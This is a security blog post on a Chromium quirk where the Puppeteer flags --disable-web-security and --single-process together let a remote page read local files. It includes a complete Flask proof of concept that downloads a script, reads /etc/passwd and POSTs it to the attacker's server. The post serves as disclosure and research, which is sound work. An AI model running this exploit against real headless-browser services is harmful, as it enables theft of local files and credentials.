Reading your files is two ~~steps~~ flags away

Never _vibe_ code flags!

By m411k

So while I was doing some internal source code reviewing, I came across this snippet of code:

            browser = await puppeteer.launch({
                headless: true,
                args: [
                    '--no-sandbox',
                    '--disable-setuid-sandbox',
                    '--disable-dev-shm-usage',
                    '--disable-gpu',
                    '--no-first-run',
                    '--single-process',
                    '--disable-extensions',
                    '--disable-plugins',
                    '--disable-images',
                    '--disable-background-timer-throttling',
                    '--disable-backgrounding-occluded-windows',
                    '--disable-renderer-backgrounding',
                    '--disable-features=TranslateUI',
                    '--disable-ipc-flooding-protection',
                    '--disable-web-security',
                    '--disable-default-apps',
                    '--disable-sync',
                    '--disable-translate',
                    // ...
                ],
                executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || undefined
            });
            // ...
            const pdf = await page.pdf({
                format: 'A4',
                printBackground: true,
                margin: {
                    top: '15mm',
                    right: '10mm',
                    bottom: '15mm',
                    left: '10mm'
                },
                preferCSSPageSize: false
            });

Okay, let me guess what was prompt: “Gimme a code that runs a browser blazingly fast”.

Anyway, this excellent vibe coder give me a chance to explore an interesting quirk of using these two flags (--disable-web-security & --single-process).

--single-process ⊗
Runs the renderer and plugins in the same process as the browser ↪
--disable-web-security ⊗ Don't enforce the same-origin policy; meant for website testing only. This switch has no effect unless --user-data-dir (as defined by the content embedder) is also present. ↪

At first sight, these two flags don’t seem to be related —i.e affect each other, but interestingly they enable any website, to access local files, how you say, I don’t know exactly why, but open-ing a local file using —-disable-web-security only redirects to about:blank#blocked , but adding the --single-process flag, it successfully opens the file, thus enabling the access to local files by remote websites.

Demo


from flask import Flask, request, redirect

app = Flask(__name__)

SERVER_HOST = "http://127.0.0.1:5500"
LEAKED_FILE_NAME = "/etc/passwd"
DOWNLOADED_FILE_NAME = "file:///Users/victim/Downloads/index.html"

leaked_file_content = ""

@app.route('/content', methods=["GET"])
def content():
    global leaked_file_content
    if leaked_file_content != "":
        returned = leaked_file_content
        leaked_file_content = ""
        return returned, 200
    return leaked_file_content, 200

@app.route('/', methods=["POST"])
def upload():
    global leaked_file_content
    leaked_file_content = request.data
    return "done.", 200

@app.route('/', methods=["GET"])
def home():
    return f"""
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>PoC</title>
		<style>
			body {{
				font-family: monospace;
				margin: 20px;
				background-color: #f5f5f5;
			}}
			.code-container {{
				background: white;
				border: 1px solid #ddd;
				border-radius: 4px;
				padding: 15px;
				overflow-x: auto;
				white-space: pre;
				box-shadow: 0 1px 3px rgba(0,0,0,0.1);
			}}
		</style>
	</head>
	<body>
		<h1>Just an innocent website over here ☺️ </h1>
		<script defer>
			setTimeout(() => {{
				const blob = new Blob([`
				<script>
					fetch("file://{LEAKED_FILE_NAME}").then(r => r.text()).then(r => {{
						fetch("{SERVER_HOST}", {{
							method: "POST",
							body: r
						}}).then(_ => window.close());
					}})
				</s`, 'cript>'], {{
						type: "text/html",
				}});
				const link = document.createElement('a');
				link.hidden = true;
				link.href = URL.createObjectURL(blob);
				link.download = 'index.html';
				document.body.appendChild(link);
				link.click();
			}}, 1000);
			setTimeout(() => {{
				window.open("{DOWNLOADED_FILE_NAME}", "_blank", "");
			}}, 2000);
			let interval = setInterval(() => {{
				fetch("/content").then(r => r.text()).then(r => {{
					if (r !== "") {{
						const heading = document.createElement('h2');
						heading.innerHTML = "This is the <code>{LEAKED_FILE_NAME}</code> content isn't it 😜";
						document.body.appendChild(heading);
						const file = document.createElement('div');
						file.className = 'code-container';
						file.textContent = r;
						document.body.appendChild(file)
						clearInterval(interval);
					}}
				}})
			}}, 1000);
		</script>
	</body>
</html>
    """

if __name__ == '__main__':
    app.run(port=5500)

The server’s code is pretty straight forward, since the http:// can’t load another file (in contrast to opening it), I open another file since a file:// can access another file://.

Interestingly the usage of this pair of flags is “common” image,And yeah this was labeled a “Won’t Fix”, by the chromium security team and considered a “an interesting architectural accident” in the wording of a chromium team member, so keep this technique in you’re toolbelt maybe you’ll need it somewhere 🤷‍♂️.

Weird enough?

Like it wasn’t weird enough, the exploit doesn’t work in puppeteer unless you open a new tab, huh?!, yes take a look:


Without new tab


With new tab

Can this be bypassed? I tried so many ways but failed to do so, I let this to the security community.

Tags: Exploitation
Share: X (Twitter) LinkedIn VK